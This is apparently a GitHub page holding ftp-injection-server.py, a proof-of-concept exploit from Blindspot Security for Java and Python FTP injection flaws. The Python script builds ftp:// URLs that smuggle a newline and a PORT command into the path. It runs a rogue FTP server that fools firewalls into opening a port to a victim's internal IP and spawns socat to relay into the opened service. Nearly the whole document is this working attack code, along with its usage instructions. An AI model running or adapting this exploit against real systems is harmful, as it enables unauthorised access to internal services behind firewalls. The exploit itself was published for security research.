-
Notifications
You must be signed in to change notification settings - Fork 5
/
ftp-injection-server.py
executable file
·196 lines (165 loc) · 7.16 KB
/
ftp-injection-server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/usr/bin/env python3
# Copyright (C) 2016-2017 Blindspot Security LLC.
# Author: Timothy D. Morgan (@ecbftw)
#
# Licensed for your use only in the following situations:
# - Security research
# - Testing of software systems when authorized by the owner
#
# Derivative works are permitted, provided the above restrictions are
# retained.
#
import sys
import os
import time
import random
import argparse
import traceback
import socket
import threading
import subprocess
import urllib
import urllib.parse
overview="""
A proof-of-concept exploit for the Java and Python FTP injection flaws
described here:
http://blog.blindspotsecurity.com/2017/02/advisory-javapython-ftp-injections.html
To use this exploit, you must be in a situation where you can force an
application (which uses a vulnerable version of Java or Python) to fetch
an FTP URL that you supply. This script first prints a test FTP URL
that you supply to the application. Upon receiving the request, this
script then calculates a second URL. When you supply the second FTP
URL, it should successfully fool (some) firewalls into opening up the
desired port.
If successful, this script will spawn socat as a child process to create
a connection back to the victim system on the port you are trying to
open. The socat process will listen locally and relay the TCP
connection. The purpose of this is to snag the temporarily opened port
and hold it open, giving you time to connect to socat at your leisure.
Before running this service, first clamp down the MSS to make malicious
URL lengths predictable and shorter:
iptables -A OUTPUT -p tcp --tcp-flags SYN,RST SYN --sport 21 -j TCPMSS --set-mss 536
This should be obvious, but this script listens on port 21, meaning it
needs root privileges or to have that port redirected to it. This
script requires you to supply the internal IP address of the victim.
This is very easy to get, most of the time, by forcing the victim to
connect via an FTP URL to a non-FTP port. See the above article for
some more details.
"""
parser = argparse.ArgumentParser(description=overview, formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('public_ip', default=None,
help='IP address the client can reach you at.')
parser.add_argument('internal_ip', default=None,
help='The victim host\'s internal IP address.')
parser.add_argument('target_port', type=int, default=None,
help='TCP port you want to fool the firewall into forwarding. Must be in the range [1024..65535].')
parser.add_argument('--port', type=int, default=21,
help='TCP port to listen on (default: 21).')
parser.add_argument('--ip', dest='ip', type=str, default='0.0.0.0',
help='Local IP address to listen on (default: 0.0.0.0).')
options = parser.parse_args()
QUIT = 0
NL = '\n'
def generateURL(pad_len):
global options
octets = options.internal_ip.split('.')
octets.extend(["%d" % (options.target_port/256),
"%d" % (options.target_port%256)])
port_cmd = "PORT%20"+(','.join(octets))
padding = "X"*pad_len
newline = urllib.parse.quote(NL)
url_template = "ftp://x:y@%s/leet%s%s%s/z.txt"
return url_template % (options.public_ip, padding, newline, port_cmd)
def ftpSession(clientSock, stream_id):
clientSock.sendall(b'220 Port Opener Express\r\n')
next_command = ''
while not QUIT:
command = ''
if next_command:
command = next_command
next_command = ''
else:
while not command:
try:
command = clientSock.recv(536, socket.MSG_DONTWAIT)
except BlockingIOError as e:
pass
sys.stderr.write(">> %s" % command.decode('utf-8'))
if command[0:4].upper() == b'USER':
clientSock.sendall(b'331 Papers please\r\n')
elif command[0:4].upper() == b'PASS':
clientSock.sendall(b'250 OK\r\n')
elif command[0:3].upper() == b'CWD':
if b'\nP' in command:
sys.stderr.write("ERROR: not enough padding to isolate correct padding length\n")
break
elif command[-1:] == b'\n':
sys.stderr.write("Correct padding!\n")
clientSock.sendall(b'250 Directory changed\r\n')
else:
sys.stderr.write("Payload size appears to be: %d\n" % len(command))
new_url = generateURL(len(command)-len(NL)-8) # 8 for "CWD leet"
print("Try this URL instead:")
print(new_url)
break
elif command[0:4].upper() == b'PORT':
command,next_command = command.split(b'\r\n')
octets = command[5:].decode('utf-8').split(',')
ip = '.'.join(octets[0:4])
port = int(octets[4])*256+int(octets[5])
sys.stderr.write("Client has opened %s:%d\n" % (ip,port))
clientSock.sendall(b'200 PORT command successful.\r\n')
local_port = random.randint(31337,41337)
relay_cmd = ['socat', 'tcp4-connect:%s:%d' % (ip,port), 'tcp4-listen:%d,bind=127.0.0.1' % local_port]
print("Setting up relay on 127.0.0.1:%d; connect to this to access the targeted service" % local_port)
child = subprocess.call(relay_cmd, stdin=subprocess.DEVNULL, stderr=subprocess.STDOUT)
print("Relay finished.")
break
elif command[0:4].upper() == b'TYPE':
clientSock.sendall(b'250 Switching to Binary mode.\r\n')
elif command[0:4].upper() == b'EPSV':
clientSock.sendall(b'500 Command not understood.\r\n')
elif command[0:4].upper() == b'PASV':
clientSock.sendall(b'500 Command not understood.\r\n')
elif command[0:4].upper() == b'EPRT':
clientSock.sendall(b'200 EPRT command successful.\r\n')
else:
print("Unknown command:", command)
break
print("Closing control channel.")
clientSock.close()
print("First try to give the vulnerable host this URL:")
print(generateURL(2000))
threads = []
listenSock = socket.socket()
listenSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listenSock.bind((options.ip, options.port))
listenSock.listen(100)
try:
while 1:
try:
(clientSock, clientAddr) = listenSock.accept()
sys.stderr.write("Connection received from %s:%s.\n" % clientAddr)
clientSock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
clientSock.setsockopt(socket.IPPROTO_TCP, socket.TCP_WINDOW_CLAMP, 1)
except Exception as e:
print("Exception while listening: ", e)
traceback.print_exc(e)
continue
except KeyboardInterrupt as e:
QUIT=1
break
now = int(time.time())
clientSrcPort = clientAddr[1]
stream_id = "%d.%d" % (now, clientSrcPort)
t = threading.Thread(target=ftpSession,
args=(clientSock, stream_id))
threads.append(t)
t.start()
except Exception as e:
sys.stderr.write("Unexpected exception: %s\n" % repr(e))
listenSock.close()
QUIT=1
for t in threads:
t.join()
sys.exit(0)